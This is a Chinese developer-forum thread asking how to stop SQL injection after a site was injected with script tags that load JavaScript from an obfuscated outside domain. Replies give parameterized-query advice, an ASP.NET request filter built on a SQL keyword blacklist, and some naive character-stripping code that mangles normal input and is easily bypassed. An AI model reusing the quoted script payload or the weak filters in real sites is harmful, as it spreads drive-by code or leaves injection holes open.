怎么样才防止SQl注入那,网站被注入了<script src=http://3bo%6Db.com/c.js></script><script src=http://3%62omb.com/c.js></script>代码,大告诉我一下,怎么样才修改程序来防止注入.

解决方案 »

  1.   

    太多的方法了:
    http://hi.baidu.com/maoot/blog/item/2a6ce118ed82d70235fa4192.html
    百度上随便搜
      

  2.   

    有很多方法
    1,使用参数,SqlParameter来写SQL语句
    2,过滤或转义已知的危险字符,
    3,限制数据类型和长度
    4,拒绝已知的攻击签名
      

  3.   

    在前台使用正则表达式。控制危险字符输入。
    /^<(.*)>.*<\/.*>$/ 这样的判断可能对你又帮助
      

  4.   

    对 使用parameters是最好的方法 ado.net自带功能
      

  5.   

    request.questring处加public string safety(string sql)
        {
            sql = sql.Trim();
            sql = sql.Replace("<", "");
            sql = sql.Replace(">", "");
            sql = sql.Replace(" ", "");
            sql = sql.Replace("*", "");
            sql = sql.Replace("'", "");
            sql = sql.Replace("%", "");
            sql = sql.Replace("or", "");
            sql = sql.Replace("=", "");
            //.........
            return sql;
        }
      

  6.   

    在global里加
     void Application_BeginRequest(Object sender, EventArgs e)
        {
            StartProcessRequest();    } 
    private void StartProcessRequest()
        {
            try
            {
                string getkeys = "";
                string sqlErrorPage = "index.aspx";
                if (System.Web.HttpContext.Current.Request.QueryString != null)
                {                for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
                if (System.Web.HttpContext.Current.Request.Form != null)
                {
                    for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                        if (getkeys == "__VIEWSTATE") continue;
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
            }
            catch
            {
                // 错误处理: 处理用户提交信息!   
            }
        }
        private bool ProcessSqlStr(string Str)
        {
            bool ReturnValue = true;
            try
            {
                if (Str.Trim() != "")
                {
                    string SqlStr = "exec¦insert¦select¦delete¦master¦update¦truncate¦declare";
                    string[] anySqlStr = SqlStr.Split('¦');
                    foreach (string ss in anySqlStr)
                    {
                       if(!Str.ToLower().Contains("updatepanel"))
                       {
                        if (Str.ToLower().IndexOf(ss) >= 0)
                        {
                            ReturnValue = false;
                            break;
                        }
                       }
                    }
                }
            }
            catch
            {
                ReturnValue = false;
            }
            return ReturnValue;
        }
      

  7.   

    如果是sqlserver 关闭xp_cmdshell命令,阻止sql语句后台带window命令
      

  8.   

    可以过滤字符串!public static String GetQuotedString(String pStr)
    {
        return ("'" + pStr.Replace("'","''") + "'");
    }
      

  9.   

    这类型的太多说明了。自己写代码的时候注意多用带参数的执行SQL和存储过程就容易减少很大一部分的SQL注入。
    然后还可以写一个公用类来判断装载页面的时候是不是从安全的页面转过来的和是否是直接输入参数访问这个页面的。
      

  10.   

    带参数执行SQL和存储过程,不要使用字符串相加,构建Sql语句。